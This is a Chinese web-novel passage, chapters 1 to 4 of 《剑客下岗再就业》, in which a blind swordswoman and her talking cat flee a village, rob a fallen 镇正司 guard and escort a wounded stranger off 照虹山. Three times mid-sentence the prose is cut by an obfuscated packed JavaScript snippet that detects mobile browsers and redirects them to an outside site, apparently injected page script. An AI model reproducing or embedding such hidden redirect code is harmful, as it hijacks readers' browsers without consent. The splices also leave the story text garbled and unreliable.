《剑客下岗再就业》
1. 照虹山(一)
“小君姐!小君姐!”
正值阳春三月,家家户户忙碌春耕的时候,照虹山下的小村落也不例外,人人都在自家田地里忙碌。天泽府多水,溪流沟壑如网般密布,堤岸上成排的桃花正是好时候,开得如云似霞。漫天纷扬花瓣里,一个年约十三四岁,头上扎着块蓝头巾的女孩子顺着田垄跑来。
“小君姐,你在吗?”
女孩子黄莺似的嗓子格外有穿透力,君无岐隔着大老远就听见了。她若无其事地踢一脚地面,挥舞锄头,把浅坑里还没来得及埋好的小老头盖上土,扬起声音答,“我在这边。”
“哎,小君姐,你怎么又下地了!”女孩子像只活力十足的小百灵,叽叽喳喳地扑棱过来,“你眼睛不好就少做这些事,我爹娘都说了会帮你的呀!”
“没事,翻个地而已,这点活我还能干。”君无岐笑眯眯地说,“芳娘,你着急跑来找我有什么事?”
“哎呀,方才我听里正说,照虹山上来了波人,看着不像好的,让大家小心点呢。”李芳娘神神秘秘地说,“据说他们都带了刀,还骑着马,一句都不让多问,要抽鞭子嘞!小君姐,你看不见,又身体弱,可要当心些,最近还是少出门吧。”
君无岐一身再普通不过的麻布白袍,头发乱七八糟地束着,摇摇欲坠,眼上蒙着白布,隐约能看到布下眼眶的线条。她歪了歪头,把手中的锄头往地上一杵,“来照虹山干什么?山上什么都没有啊。”
“谁不说的是呢。”李芳娘颇为赞同地点头,“不过我娘说多一事不如少一事,咱们都是小老百姓,还是得谨慎。”
“看来最近读了些书?说话都变得雅气了。”君无岐笑她,“好,听你的。召南,走吧,回去了。”
李芳娘这才看见不远处的小土坡上还蹲着一只猫咪大小的小兽,圆耳朵,尖脸蛋,浑身毛色白不白灰不灰黄不黄的,一条毛茸茸的长尾巴环过身子,正在往这边瞅。
“召南也在啊!”芳娘惊喜地跳起来,伸出手想摸,又缩回来,“哎,忘了你不爱被人摸了。快跟着你主人回家吧!”
召南摇摇尾巴,不紧不慢地从土坡上走下来,来到君无岐身边,不知道是巧合还是故意,恰恰就在刚才她埋的浅坑之上,把土挡得严严实实,还十分矜持地朝李芳娘“喵”了一声。
“召南好乖。”李芳娘恋恋不舍地又看了召南好几眼,“那我就先走了,小君姐,我家里还等着我去帮忙嘞!”
活力十足的女孩子蹦蹦跳跳地走远了。
“真是个好孩子。”君无岐笑眯眯地说,“是吧召南?”
召南抖了抖毛,没作声。倒是土里传来闷声闷气的应答,“她已经走了。好姑奶奶,我知错了,您大人有大量,就放了我吧!”
猫咪身姿轻盈地跳开,爪子似有意似无意地狠狠在土里一抓,抓得地中人唉声叹气,还又不敢大声叫喊,只能一迭声地求饶。君无岐听得好笑,拿那柄锄头一刨地,也不怕真的刨到里面的人,浅坑上的土就和盖布似的整个翻了出来,露出坑里的小老头。
说是小老头,其实也就是看起来像,仔细一打量,这家伙身高不过一尺,穿一件白麻短袍,虽然容貌身形都是个人模样,嘴巴那块却是黄的,头发里拱着俩小包,大约是没修炼好的耳朵,屁股后头还有个扫帚似的大毛尾巴晃来晃去。
它以和外表绝不相符的速度一骨碌从土里翻出来,抖抖身上的土,像模像样地朝君无岐作了个揖,“小老儿谢过姑奶奶不杀之恩!”
君无岐循声低头,脸准确地对着还没自己膝盖高的小老头,笑道,“你虽为黄鼬之身,却已修炼至初通人形,然还改不了偷鸡的毛病,闹得村东那几户人不得安宁,我罚你赔给他们一户一篮更贵价的草药,你服不服?”
黄鼬精赶忙俯下身去,“小老儿认,都认!”
“你也别觉得不服气。”君无岐把锄头往身上一背,拍拍衣角上的土,“你已开灵智,一言一行皆有因果,今日你夺人之鸡,来日修炼路上便多一道坎。让你赔草药不是为了别了,是要消解这段因果。你且自己想想。”
一旁的召南不知为何“嗤嗤”笑了两声。
黄鼬精却没心思去思考这些,它如遭雷击,呆立在原地,“原来……原来竟是这样!”
它一对黑溜溜的豆子眼睁得浑圆,不知不觉嘴边还浮出了几根胡子。它下意识地捋捋胡子,扯了几下,猛然惊醒,再一抬眼时君无岐早就带着召南走远了。
“大仙,是大仙!”黄鼬精感动得热泪盈眶,“不曾想我黄豆也有走大运的一天,光宗耀祖,光宗耀祖啊!”
说罢,它对着一人一猫远去的背影重重叩了三个头,身形一变,化成只远比普通鼬更大的黄鼠狼,朝着不远处的山里窜去,很快就不见了身影。
而另一边,君无岐带着召南,慢慢悠悠仍在回家的路上,偶然见到几个村民也都热情地和她打招呼,等到了家里,君无岐手上已经多了一堆村人自己种的蔬果瓜豆。
“唉,这日子真好啊。”君无岐摸索着把东西放下,感叹,“一想到马上就要结束了,真是舍不得。”
“什么,要走?”召南本来蹲在草垫上舔毛,惊闻此言顿时毛也不舔了,喵哇大叫,“才来了不到一年,怎么好端端地又要走?这次是为什么?”
“唉,不瞒你说,乃是此地风水与我修炼的奇术有所冲突,若不尽快离开,想我很快就要命丧此地……”
“我听你放屁!”召南气得浑身长毛炸开,体型都比原来大两圈,“这是上次走之前的说辞!你个王八蛋,休想拿一样的借口搪塞我!”
“哎,原来用过这个理由了?”君无岐随手拿起根胡瓜在水里一湃,咔嚓咬了小半根,“嗯嗯,那便是因为这里水质啊土地啊都不行,在这里呆久了我头晕眼花啊啊啊啊啊啊!”
召南纵身一跳三尺多高,直接扑到君无岐肩膀上疯狂摇晃,“不要再胡说八道了混蛋!你有本事把胡瓜放下来再说水质不行!”
君无岐在地动山摇中镇定自若地几口啃完胡瓜,抬手把召南从自己身上摘下来,“哎哎,别激动嘛,有话好好说。”
召南气咻咻拿肉垫拍她,“我要听实话!实话!不然我就、我就离家出走!”
“好好好,说实话。”君无岐把猫抱起来,熟练地呼噜两下绵软厚实的毛,直把召南撸得咕噜起来,“你今天不是也听到了嘛,照虹山来了拨带刀的人。”
“那和你有什么关系?”召南狐疑道,“
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14737964|157397||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
难不成你还是什么背负了人命的朝廷钦犯?”
君无岐低头,蒙眼的布带垂落在猫身上,“你又怎么知道我不是?”
猫一下子僵住了。
直到数息之后看到君无岐唇边的笑痕,召南顿时勃然大怒,跳起来一通喵喵拳攻击,“好哇你个坏人!又耍我!耍我好玩吗!”
漫天猫毛蒲公英似的乱飞,君无岐捏着鼻子打了个喷嚏,再次把扑腾个不停的猫从自己身上摘下来,夹在臂弯里,“好了好了,不气不气。”
猫四爪悬空,跟划船似的拨动不停,恨恨朝她哈气,“再信你一句我就是傻子!”
“别这么说自己。”君无岐若无其事地又挤兑了猫一句,光速扯开话题,“但我们的确要走,今晚就走。”
“今晚?这么急?”召南惊疑地探着脑袋,“你这是犯了多大的事啊?”
猫努力从她臂弯里伸长身子,使劲嗅闻几下,“我闻到了湿淋淋的气味,搞不好今夜要下雨。”
“下雨岂不是正好。”君无岐把召南放到地上,顺手一掐毛茸茸的后脖颈,“这样就没人知道我们去哪了。”
“但路也会很难走!”猫龇牙,“我现在这个体型,你还是个瞎子,万一咱俩滚进山沟里怎么办,连个收尸的都没有!”
“不会的。”君无岐笑,“死之前我会用奇术把咱俩都烧成灰,埋在山里也算是给大山做了点贡献,你觉得如何?”
“不如何。”
召南不肯再搭理她了,一跃跳上窗台,看着她自己一个人摸索着在屋里忙活,只有看她要撞上时才肯出言提醒一二。小茅屋里很简陋,君无岐的东西也并不多,但奈何此人眼瞎,等她收拾出来个小包袱的时候,天色早就暗了。
“这锄头是借的里正家的,放在这里,他知道了就会拿回去。”君无岐背着个歪歪扭扭的竹筐,絮絮叨叨地细细清点家赀,“陶碗陶盆是芳娘家的,这孩子说不准明日就会来找我,不一定会拿走,得给她放好了……”
召南不耐烦地用尾巴拍窗户,“你好了没?要下雨的味道越来越重了,我们必须得赶紧走!”
“好了好了。”君无岐摸索着给自己穿上蓑衣,戴上斗笠,在猫面前一斜身子示意,“上来吧。”
召南蹦到她肩上,跟个溜光水滑的毛围脖似的刷一下滑进了竹筐,从蓑衣下钻出只猫猫头,“好了,我们走。”
君无岐便拿上竹杖,慢慢走出门去,只把柴门轻轻掩上,并没有锁。
今夜无星无月,高高云层之上隐有雷声,虫鸣声微,草木簌簌,倒是蛙叫响个不停。此时村里绝大多人都已睡下,一片黧黑清寂,无人点灯,偶尔有几声狗吠。君无岐走在出村路上,竹杖轻点地面,虽然嘴上说得急,她行事却依然镇定从容,不见一丝迫切。
一滴雨从她斗笠上滚落。
“下雨了?”她驻足仰首,很快有第二滴、第三滴接连落下,沾湿了衣袖。
“时机不太妙啊……”她喃喃道,重新扶好斗笠,继续向前走去。
雨很快下了起来,细密织成帘网,在黑夜里透出一丝极细微的光。召南蜷在竹筐里打盹,没有人知道她们将要去往何方。
一人一猫,静静消失在雨中。
2. 照虹山(二)
“有线索了吗?”
“没有!直娘贼,这一下雨,又黑,什么都摸不着了!”
“找,再找!一共就给了七天时间,现在就剩下三天!再找不到人,我们都得死!”
几个佩刀黑衣人作鸟兽状散开,很快便各自没入森林,不见了踪影。
雨噼里啪啦地砸着树叶,山里黑乎乎的,什么也看不清。过了好一会,一个人才从旁边的灌木丛里钻出来,长叹了一口气。
“都怪你,乌鸦嘴。”君无岐抱着竹筐,小心不让它被雨淋到,对召南说,“还是碰上了吧。”
“怎么就怪我!跟我有什么关系!”猫气得在竹筐里打滚,“明明是你没探清路,一头撞进了山里……唔!”
君无岐闪电般一把握住猫嘴,低声道,“小声,那帮人好像又回来了。”
她又悄没声地钻回灌木丛。
果然没多大时候,又一个黑衣人急速奔来,到树下时似乎察觉到了什么,四下望望,从怀里掏出个拳头大小的灯来,往地上一照,辨别痕迹,很快就循踪遁走。
“他有个灯!小,随用随开,还防水!”猫从君无岐胸前探出脑袋,眼睛闪闪发亮,“哎,咱们去把他抢了吧?”
君无岐轻拍猫头,把召南一下按回竹筐里,“连那人身份都不知道,怎么抢?”
“这黑灯瞎火的鬼鬼祟祟,能是什么好人?再说怕啥,这深山老林的,谁知道是我们动的手?”猫还不死心,在竹筐里扭来扭去,“去吧去吧,那可是灯,灯啊!”
“我是瞎子,用不着灯。”君无岐没声好气道,“还有你是猫,猫!你见谁家猫晚上还需要用灯的?”
“可那灯一看就很值钱啊!”召南终于暴露了自己的真实目的,“我好端端一个瑞兽,跟着你吃了上顿没下顿的,还在山里淋雨!可怜见的,我也想过过那种锦衣玉食,出门都有高头大马的生活呜呜呜呜呜……”
君无岐被猫哭得头疼,转念一想现在确实穷得叮当响,浑身上下倒不出俩铜板,当即也动了心思,“唉,别哭了,咱们跟上去看看就是了。”
猫一骨碌坐起来,两只爪子搭在竹筐边上,也顾不得雨水会打湿毛了,“什么?真的吗?”
君无岐又把猫按下去,“老实呆在里面别出来。咱们走。”
她一拉身上的蓑衣,竹杖从里面伸出来,探着地面,根据召南的指引,向黑衣人消失的方向去了。
雨急路滑,实在难走,但好在君无岐不是普通的瞎子,还是顺顺当当地一路到了片开阔地。她在几棵树后静息凝神,倒不是因为别的,而是前面几个人似乎打起来了。
“这……好像是两伙人啊。”在哗啦啦的雨声和叮呤咣啷的武器相撞声里,她悄悄用气音说,“你眼神好,能看到什么吗?”
召南费力把脑袋扒拉上来,只感觉今天自己头上的毛怕不是得少两斤。猫仔仔细细瞅了片刻,小声说,“看不清啊……咦?那人用的刀有点奇怪啊,怎么还背上带倒刃的?”
“刀背带倒刃?”君无岐下意识地收紧手臂,若有所思,“你细看看,他腰间可还系了块银牌?”
“银牌?”召南伸长脖子张望,“唔……他还真有块银牌子。你难道知道他的身份了?”
“他是北门的人。”君无岐低声道,“坏了,你想要的灯怕是拿不到了。”
“北门是什么?为什么拿不到灯了?”猫如遭雷击,大惊失色,“难道是很厉害的地方?拿了他的东西就会被追杀一辈子?”
“那倒也不至于,就是可能会有麻烦。”君无岐摇摇头,抱着猫尽力又把自己缩小一点。
“你知道本朝开国时有位大术师观风云,搅万象,座下驱使灵兽仙精数万,帮太祖定国运,奠太平,自那时起妖异动,术师出,为了管理这部分不安分子,当时太祖便设立了镇正司,主掌术师和江湖中人。”那边打得刀光剑影杀气四溢,这厢讲得温声细语娓娓道来,“后来太宗又细化分为南北两堂,南堂称安事镇正司,主江湖诸事,北堂称济安镇正司,主伏妖奇术。因为济安镇正司是唯一一个大门朝北的衙门,因此又得诨名北门。先帝时这两堂不和,以至于到了后来,北门戴银牌,南堂就纹金线,南堂用尖刃刀,北门就偏偏要背倒刺,如此种种。”
“不过这倒是个怪事。”君无岐面朝那边,布巾下双眉紧蹙,“明明是北门的人,我怎么一点奇术都没感觉到?”
她话音刚落,黑衣人们的战斗已然结束,胜负揭晓,唯一站着的那个腰间坠了块银牌。此人以刀驻地,掏出那圆球似的小灯,声音粗哑,“那边的朋友,请出来吧。”
虽然被人发现了行迹,但君无岐一点不慌。她抱好怀里的猫,整理正当斗笠,两步跨出树丛,“在下齐君,见过济安将军。”
济安将军这称呼虽然不伦不类,倒也算是对北门中人的尊敬。
那人一怔,随即笑道,“倒是个识货的,不似乡野之人。我且问你,大半夜的不在家好好呆着,跑到这深山里干什么?”
“于在下而言,是白日还是黑夜又有什么分明。”君无岐又向前走了两步,露出眼上的巾带,“我旧疾复发,疼痛难忍,便来山中寻找些能用的药材,不想竟惊扰了将军,多有得罪,还请见谅。”
那人又是一愣,没想到这还是个瞎子,顿时心生恻隐,本想灭口的心也按捺下来,“既是如此,那你便快快离去吧,勿要再靠近。”
君无岐摸索着作了个揖,转身就要走。
“等等!”忽然这人又眯起眼,刀尖抬起,直指她的后脑,“你回过头来,让我仔细瞧瞧你的脸。”
君无岐顿步回首。
灯光微亮,将每根雨丝都照彻清明,几乎能看清盲女腮边的碎发。然而,就在她眉宇将露未露的那一刻。
一支竹杖疾风骤雨般在她身侧探出,闪电一样扑向镇正卫脖颈。此人反应不可谓不快,当即要伸刀来挡。只可惜还是没跟上君无岐使阴招的速度,让她一击抽中颈侧,一声不吭地晕了过去。
好大“咕咚”一声。
“还好还好,刚才打过那一场,强弩之末了吧。”君无岐这才晃晃悠悠地拄着竹杖返回身来,长长呼出一口气,“召南,灯在哪呢?快去捡回来吧。”
猫从竹筐里跳出来,抖抖身上的毛,欢快地扑向灯球滚落处,将它按在爪下,“让我看看!咦,它怎么不亮了?”
本来还如明珠般璀璨生辉的灯球闪烁两下,随即光芒熄灭。召南还不死心地又拨拉两下,奈何它毫无反应,好像成了个无甚大用的摆件。
“坏了,我早该想到,既然是北门中人,那用的东西大抵也是奇术驱动的,卖不上价。”君无岐慢慢走过来,深深叹了口气,“没办法,看看他们身上还有什么值钱的没有吧。”
召南沮丧地垂下脑袋,连喵喵叫都变得有气无力,“怎么会这样……毫无收获不说,还连累得你跑这一趟……呜……”
“知道了来的人是什么身份,也算有所收获。”君无岐还是不紧不慢的,主要是她也的确快不起来
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14737965|157397||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,“过来,召南,你指引着我点,我们看看这帮人又是从哪冒出来的。”
猫顿时又打起了精神,昂首挺胸地跑过来给她当导盲猫。
一人一猫把先前倒地身亡的几个人都摸了一遍,获得战利品如下:铜板六枚,塞了驱蚊草的荷包一个,自己削的巨丑无比的小木头人一只,其余无了。
“一点身份证明都没有吗?”召南简直不肯相信自己的猫眼,照着人家衣裳下面又是一顿扒拉,“真的没了吗?就六个铜板够干什么的啊!”
“你到底是在找身份证明还是在找钱。”君无岐从它背后经过,“六个铜板不少了,能给你买两条鱼干呢。”
此时雨势渐小,只有濛濛星星的水雾似的飘着,她摘了斗笠挂在蓑衣上,伸手去探那个唯一能确定身份的镇正卫。
这人本穿着蓑衣,但倒在地上后蓑衣也没什么用,身上的衣服都已经湿透了,紧紧贴在身上,不太好往里摸索。君无岐仗着自己是个瞎子,挑起衣领,往里探了两根手指。
随即一愣。
“女的?”她烫着似的迅速收回手,还是有点难以相信这个事实,“那破锣嗓子,怎么会是个女的?”
她和刚踩着猫步晃过来的召南都傻了。
这事其实真怪不得她俩,主要是也很难指望一个瞎子和一只猫能从外表辨别性别,再加上这位女使那李逵似的腔调,认错了真是一点都不奇怪。
“坏了,我真没有打劫女的的经验。”君无岐喃喃自语,“召南,你说该怎么办?”
“呃,你没有,我难道就有了吗?”召南在原地无措地踩了几下,“要不找个地方给她放下算了,咱们也算仁至义尽。”
“这,说的倒也是。”君无岐思忖片刻,高兴地做了决定,“那我们就把她带到个安全的地方,再取走她的财物作为报酬好了。”
有点良心,但不多。
召南无言吐槽,“你可真是个好人。”
君无岐才不管猫在说啥。她十分流畅且熟练地扒了镇正卫那件一看就比自己质量好太多的蓑衣穿上,把猫放进竹筐挎在前面,又背起还没醒的镇正卫,用旧蓑衣上的系带固定在身上。
“现在有个问题。”她深沉道,“哪里才是安全的地方?”
一人一猫同时陷入了沉默。
万万没想到,好不容易做一次好事,居然败在了第一步,不认路上。
正在一筹莫展之际,君无岐忽然听到腿边传来一声细声细气的呼唤,“大仙,大仙!”
猫从竹筐里探出头,惊呼,“啊,你是那个偷鸡的黄鼬精!”
一只皮毛溜光、通体土黄色的小动物正站在君无岐旁边,闻言顿时颇为羞赧地拿小爪子捂住了黑豆眼,“哎,猫仙莫要再这么叫我,我已经迷途知返,不再偷鸡了。”
君无岐听得有些好笑,她看向发出声音的位置,温声问道,“那你来找我有何事?”
“昨日听了大仙一席话,我受益良多,此次是专程来帮忙的!”小黄鼬精来了精神,神气活现地摇摆着尾巴,“我知道哪里安全,可以带大仙前去!”
像是怕君无岐不信,它还紧着找补了几句,“我晓得人类生存需要什么,大仙放心!”
君无岐失笑。
“那就麻烦你了。”她重新掂了一下身上的人和猫,“我视物不便,还需你为我详细指路。”
“我一定妥妥当当的!”小黄鼬精高兴地伏下身子,一鼬当先在前指路,“大仙小心脚下,请往这个方向走!”
3. 照虹山(三)
小黄鼬精果然没骗人,带她们来了一处山洞。
虽然下过雨,但山洞里一点都不潮湿,也没有任何食肉动物的腥臊气味,里面有个石头支出来的天然石台,恰好能放下昏迷的镇正卫,还能容下君无岐和两只小动物挤在上面。
君无岐坦然自若地往镇正卫怀里摸了几把,在召南无语的目光里摸出一锭碎银子,往猫眼前一晃。
“终于不是赤贫了。”她感叹,“等进了城就给你买鱼干吃。”
召南顿时把什么良心都抛在了脑后,亲亲热热地来拱她,那嗓子甜得简直能拉丝,“喵~呜~那我还想要虾,鲜虾~”
“好说,都好说。”君无岐任由它拱得自己一身猫毛,空着的另一只手在台子上摸索,摸到另一只小动物截然不同的手感,“至于你,应该不单单是来报恩这么简单吧?”
小黄鼬精扭扭捏捏地也靠近君无岐,学着召南的样子十分生疏地往她身上拱了一下,“那个,大仙,我确实还有一事相求……”
君无岐掐了一下眉心,“什么事?”
“大仙叫我黄豆就行,这是我给自己起的人类名字。”黄鼬精说,“其实,我还有一窝孩子,最近也陆陆续续走上修炼之路,我去偷鸡也是为了养活孩子……不过这不是重点!”
它觑着君无岐皱起来的眉毛,十分有眼色地切了下一句话,“几日前我和孩子们住的洞穴里突然来了个人,二话不说就强占了我们的地方,我当时不在洞里逃过一劫,可我的孩子们还在里面!现在他还未察觉他们存在,可万一发现了怎么办?”
黄豆小小的脸盘子上骤然出现狰狞之色,“若不是大仙教我,我昨日回来本想是与那人同归于尽的!”
召南吓了一跳,赶忙探过身子来,“你可千万别冲动!若你死了,你的孩子怎么办?”
“猫仙说的是。所以我就厚着脸皮来求求大仙。”黄豆眼巴巴地看着君无岐,“大仙,求你帮帮我,把那人赶走吧!”
它这幅样子确实可爱,只可惜君无岐看不见。她跟个雕像似的坐在原地,不吭声。
黄豆急得眼泪都要出来了,忽然想起方才她摸出来的那块银子,顿时福至心灵,“大仙,我此前在山上曾捡到过一块漂亮石头,听人类说那好像叫玉。若你能帮我把他赶走,我就把那块玉送给你怎么样?”
这话说得,君无岐还没吱声,召南就先急了。
“那当然好啦!”它啪啪啪地拿肉垫拍君无岐的腿,“能挣点是点,要不然我们又得去睡破庙!”
君无岐叹了口气,熟练地把猫摘掉塞进筐里,慢悠悠从石台上爬下来。
“那就请你带路了。”她说,“最近山里不太平,等把他赶走,你们也搬个地方住吧。”
“我都听大仙的!”黄豆高兴起来,一溜烟地跳下来,跑到前面领路,“你放心,等我把孩子们接出来,一定要另外找个没人的好地方住!”
一人一猫一鼬走到洞口,外面雨已经彻底停了,清晨的曦光穿过树影稀稀落落地砸在地上,带起一阵白而茫的雾气。树枝和灌木上都还带着水,有鸟经过就哗啦啦地抖落,映出一小朵又一小朵的彩虹。
有几滴水溅在君无岐脸上,她擦擦干净,问道,“还有多远?”
“这就到了!”黄豆的小身影在林道里若隐若现,因为要照顾君无岐的速度,没有跑得太快,“大仙,在这边!”
君无岐循着方向走,竹杖在地上轻点,帮她辨别障碍。忽然不知怎的,竹杖啪的一声轻响,竟然从中间断开了。
“咦?”召南趴在筐边,“好端端的怎么断了?莫不是你抽那个镇正卫时太用力?”
君无岐没来由地心跳了一下,她随手将坏了的竹杖丢开,摸索着旁边树枝,折了一根下来。
“不妨事,临时换个就行。”她一点点把上面多余的叶子和枝条掰掉,“你见着竹子告诉我一声,再做个新的。”
召南在这种事上从来不会掉以轻心,很是乖巧地点点头。
君无岐拄着临时做的木杖,跟随黄豆到了一处山洞附近,小黄鼬精不敢离得太近,在她耳边嘀嘀咕咕,“就是那个洞!哦我忘了大仙你看不见……就在你面前十几尺远,外面挂着藤,我找了好久才找到的好地方呢。”
召南从筐里出来,趴在她肩上,鼻尖动了动,“有股草味……夹着血气,那家伙受伤了。”
“受伤了好啊,受伤了就更好对付了!”黄豆顿时喜上眉梢,想催促君无岐快点又不太敢,差点把自己扭成个麻花,“大仙,你看现在……?”
君无岐默默把黄豆搁在地上,朝着山洞去了。
站在外面,都用不着离太近,那股血腥气简直像是在往人脸上扑。她没直接进去,用木杖扫开遮住洞口的藤蔓,扬声问,“有人在里面吗?”
无人回应。
这倒也是在情理之中,要是他轻易回答才有诈呢。
君无岐敏锐地捕捉到有人急促的喘息,很轻,几乎要融化在风里,看来的确是里面的人受了伤。她心念电转,再度出声,“我是瞎子,是来上山采药的,不会害你,你大可放心。”
山洞里的人眯起眼。
上山采药的瞎子?莫非这又是什么想让他放下戒心的陷阱?
一个念头还没落下,忽然洞口一暗,却是那个自称上山采药的盲女弯下腰,就要进来。
晨光在她背后温柔地笼罩,勾勒出眼上的布巾,确实是个瞎子。
“止步。”
沙哑的嗓音响起,没有镇正卫粗粝,但也绝计不会被认成女声。君无岐还在思考到底是应该喊公子还是姑娘,忽然听到兵刃破空,一道铁腥味冷冷横在面前。
这是直接拔刀了。
君无岐长到现在,从来就没怕过刀,只可惜她现在演得是个孤苦无依的可怜盲女,按理说是该有点害怕的。于是她低下头,努力把声音放低,“这位公子,您可是要下山?”
里面躺着那位盯着她,缓缓出声,“你这是什么意思?”
什么意思,当然是想一块挣点外快,君无岐腹诽。
但说是肯定不能这么说,她勾起唇,露出一颗尖尖的小虎牙,“我在上山途中也曾见过那些黑衣人。若公子想,我带着您避开他们如何?”
对面人没再说话,似是在思索,过了好一会才继续开口,“那,你想要什么?”
声调压低,仿佛有阴云滚动。
而君无岐好像根本没听出来似的,高高兴兴地咧开嘴,“好说好说,诚惠十……啊不,二十两银。”
同一时刻,对面人和筐里的召南脑中升起同一个念头。
真黑啊。
宰大户来了这是。
一时间山洞里又陷入了沉默,也不知道是那人无语了还是在认真思考这笔生意到底划不划算。君无岐倒是不着急,她侧耳细听,果然听到山洞深处似乎有小动物幼细的吱吱声。
那想必就是黄豆的孩子们了。
“你一介盲女,我如何能确定你能带我避开他们?”忽然男人又出了声,“你又是怎么知道的,他们就是冲我而来?”
此
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14737966|157397||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
问题一出,整个山洞似乎都冷了下来。君无岐知道他此时正在紧紧盯着自己,若回答得一个不到位,想必就要动手了。
她虽然不怕动手,但的确也不想动手。
“公子不愿意就算了。”她说,“那还烦请您换个地方躲避。”
“什么?”对面人一怔。
“我本也不是为了做这笔生意而来。”君无岐轻笑,“但公子可是占了别人的家宅。我是受屋主所托,特来请您离开的。”
“我……”男人的声音涩然中又带了一丝茫然,“占了何人的家宅?”
唉,也不知道这人见没见过术师,能不能接受小动物说话。君无岐思忖着,朝身后招手,“黄豆,来。”
原本一直焦急张望着的小黄鼬精立刻跑来,在她身边人立而起,浑身毛都炸开了。君无岐往山洞里一指,“你的孩子们就在里面,去吧。”
黄豆警惕地瞪着不速之客,龇出几颗尖尖的牙。
“您不仅占了人家的屋子,还劫持了人家的孩子们呢。”君无岐闲闲道,“听您讲话也是读过书的人,应当不会不知道这是多大的罪过吧?”
不知不觉间就害得人家亲子分离的人,“……”
黄豆小心翼翼地绕过他,飞奔进了山洞深处,片刻后就传来抑扬顿挫的吱吱声,想必黄鼬一家团聚后此时也在欢喜激动吧。
“你方才说的。”无言片刻后,他忽然又开口,“那笔生意,可还能继续?”
“当然可以。”君无岐挑眉,“那就请公子先付十两定金,定金不退哦。”
洞中传来窸窸窣窣的声音,随即响起似乎在压抑着什么的嗓音,“如今我身上没有现钱,这颗东珠品相尚可,价值百金,用来抵定金可还够格?”
话音未落,就有一物向这边抛来。君无岐仍站在原地老神在在,召南猛地从筐中跃出,翻转腾挪间极其精准地衔住了那颗东珠,四爪张开,平稳落地,踩着猫步小跑着来到她跟前,把珠子放到她掌心里。
一套动作可谓是行云流水,丝滑至极。
君无岐接过珍珠,顺手在猫毛上蹭了蹭,无视召南不满的哈气,笑道,“公子出手真是大方。”
他没说话。
她也并不在意,回身撩开挡路的藤蔓,向外一指,“请?”
君无岐听到呼吸声、衣物摩擦声、兵戈撞击声还有走动声缓缓向这边而来,经过她身边时,血腥味浓得几乎盖过了一切味道。
怪事。她心想。
明明没听到他武器入鞘,怎么还有兵器相撞的声音?莫不是这人出门带了两把刀?
不过这也和她没关系。她随着一并出了洞,黄豆也跟了出来,爪子轻轻拉着她的衣摆,往她手中放了块什么。
冰凉,粗糙,坠手。
想必就是那块它承诺的玉了。
“我要走了。”她笑着与萍水相逢的小黄鼬精道别,“你好好修炼,勿要做恶事,若有缘我们还能相见,说不定那时就得你指导我了。”
黄豆在她手指间蹭了蹭,大约是告别。随即她感觉到有一群更柔软的小动物一股脑的都来蹭了蹭她的手,应当是黄豆的孩子们。
不知道长什么样子,应该很可爱吧?
“那就再会。”君无岐直起身,拿稳那支木杖,“我们这就下山吧。”
在旁边看完全程的人眉梢抽动一下,这盲女居然还两头吃,但也没说什么,只是淡淡道,“走吧。”
黄鼬一家挤挤挨挨地站在洞门口张望着,看到两人渐渐消失在清晨的林雾中。
4. 照虹山(四)
“在下姓齐,单名一个君字,不知道公子怎么称呼?”
“毕远。”
“这是我的猫,名叫召南。”
“喵。”
“……”
“毕公子是来照虹山做什么的?”
“……”
“懂了,不能说。”
“……知道太多对你没好处。”
“哎,我晓得。哎呦,召南!说了多少遍了不许在筐里蹦!再这样你下来自己走!”
“喵呜~”
“……”
太阳终于升起来了。
虽然如此,地面仍然湿滑难行,全乎人走路时都要小心翼翼,更何况这是一个瞎子加一个伤残,行路速度和龟爬也快不了多少。
毕远一直在暗中观察君无岐。
此人虽然看不见,但走路时并不像寻常盲人那样如履薄冰,言行举止中也没有对“看不见”这件事的抵触,不知道是心大还是另有原因。且她下盘扎实,呼吸绵长,应当是有功夫底子在,只是摸不清深浅,也看不出到底是哪门哪派。
这样的特征,倒是有点像安事镇正司……
难道这件事南北镇正司都掺和进来了?
毕远心念一动,捂住自己腰侧,唤她,“齐姑娘,可否稍事歇息?”
君无岐步履一停,转过脸来,就是方向不太对。
她对着树说,“你累了?”
“……”毕远说,“齐姑娘,我在这边。”
“哦哦,不好意思。”君无岐循着声音过来,木杖在面前一扫,差点抽中毕远的小腿,“我忘记你还有伤在身了,思虑不周,你坐下歇歇吧。”
毕远看了看自己血尚未干透的衣衫,对于她的话是半个字都不信,但还是依言找了块石头坐下,“多谢姑娘体恤。”
君无岐没离他太近,站在林道上似是在听着什么,那只奇怪的长毛猫从竹筐里爬出来,趴在她肩上,也像人似的张望着。
更可疑了。
但实际上这一人一猫只是在偷偷说小话,召南好像一个间谍,事无巨细地向她汇报看到的一切。
